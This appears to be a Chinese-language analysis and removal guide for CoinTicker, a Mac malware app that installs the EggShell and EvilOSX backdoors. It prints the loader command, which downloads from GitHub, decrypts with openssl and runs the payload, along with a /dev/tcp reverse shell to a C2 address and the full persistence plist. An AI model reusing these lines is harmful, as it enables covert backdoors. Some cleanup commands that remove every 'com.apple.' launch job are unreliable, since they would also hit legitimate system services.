Mac应用CoinTicker无需用户权限就可安装后门
字数 1806 2025-08-19 12:41:46
CoinTicker恶意软件分析报告与防御指南
1. 恶意软件概述
CoinTicker是一款伪装成加密货币价格追踪工具的Mac应用程序,实际上会在用户不知情的情况下安装两个开源后门:EvilOSX和EggShell。
1.1 恶意软件特点
- 不需要用户权限或root权限即可运行
- 使用合法的功能作为掩护
- 通过GitHub托管恶意载荷
- 创建持久化机制确保长期驻留
- 使用加密技术隐藏恶意行为
2. 恶意行为分析
2.1 初始感染流程
- 用户下载并安装CoinTicker应用
- 应用启动后,执行以下shell命令:
nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc;
openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq;
python /tmp/.info.py
2.2 载荷分析
2.2.1 EggShell后门组件
- 从GitHub下载加密文件并解密为Python脚本
- 建立反向shell连接:
nohup bash &> /dev/tcp/94.156.189.77/2280 0>&1
- 下载EggShell二进制文件到
/tmp/espl - 创建并执行shell脚本
/tmp/.server.sh
2.2.2 EvilOSX后门组件
- 在
~/Library/Containers/目录下创建隐藏文件夹和随机命名的Python脚本 - 使用动态生成的UID作为解密密钥
- 修改后的bot.py脚本与C2服务器(185.206.144.226:1339)通信
2.3 持久化机制
- 创建用户启动代理
.espl.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AbandonProcessGroup</key>
<true/>
<key>Label</key>
<string>com.apple.espl</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>90</integer>
</dict>
</plist>
- 创建随机命名的启动代理
com.apple.[random string].plist
3. 技术细节
3.1 文件系统变化
恶意软件创建以下文件和目录:
/private/tmp/.info.enc/private/tmp/.info.py/private/tmp/.server.sh/private/tmp/espl~/Library/LaunchAgents/.espl.plist~/Library/LaunchAgents/com.apple.[random string].plist~/Library/Containers/.[random string]/[random string]
3.2 网络活动
恶意软件连接以下C2服务器:
- 94.156.189.77:2280 (seednode3.parsicoin.net)
- 185.206.144.226:1339
3.3 加密技术
- 使用AES-256-CBC加密恶意载荷
- 使用固定密钥"111111qq"或动态生成的UID作为解密密钥
- 使用OpenSSL工具进行加解密操作
4. 检测与防御
4.1 检测方法
-
检查以下目录是否存在可疑文件:
/private/tmp/目录下的.info.enc、.info.py、.server.sh和espl~/Library/LaunchAgents/目录下的.espl.plist和随机命名的plist文件~/Library/Containers/目录下的隐藏文件夹
-
监控网络连接:
- 检查与94.156.189.77和185.206.144.226的连接
-
使用SHA-256哈希值验证:
- CoinTicker.zip: f4f45e16dd276b948dedd8a5f8d55c9e1e60884b9fe00143cb092eed693cddc4
- espl: efb5b32f87bfd6089912073cb33850c58640d59cb52d8c63853d97b4771bc490
4.2 防御措施
-
应用来源控制:
- 仅从官方App Store或可信来源下载应用
- 警惕与coin-sticker.com等新注册域名的交互
-
权限管理:
- 定期检查
~/Library/LaunchAgents/目录 - 监控应用程序的网络访问权限
- 定期检查
-
安全工具:
- 使用Malwarebytes等专业安全软件进行扫描
- 启用防火墙并监控异常出站连接
-
系统加固:
- 定期更新操作系统和安全补丁
- 限制对/tmp目录的写入和执行权限
5. 清除指南
- 终止恶意进程:
ps aux | grep -E 'info.py|espl|server.sh' | awk '{print $2}' | xargs kill -9
- 删除恶意文件:
rm -f /private/tmp/.info.enc /private/tmp/.info.py /private/tmp/.server.sh /private/tmp/espl
rm -f ~/Library/LaunchAgents/.espl.plist
rm -f ~/Library/LaunchAgents/com.apple.*.plist
rm -rf ~/Library/Containers/.*/
- 清除持久化项:
launchctl remove com.apple.espl
for label in $(launchctl list | grep 'com.apple.' | awk '{print $3}'); do launchctl remove $label; done
- 重启系统并验证清除效果
6. 总结
CoinTicker恶意软件展示了现代Mac恶意软件的典型特征:
- 使用合法功能作为掩护
- 利用开源后门工具
- 不需要高权限即可造成危害
- 使用加密和混淆技术逃避检测
- 建立多重持久化机制
此案例强调了即使是不需要特殊权限的应用也可能构成严重威胁,用户应始终保持警惕,定期检查系统异常行为。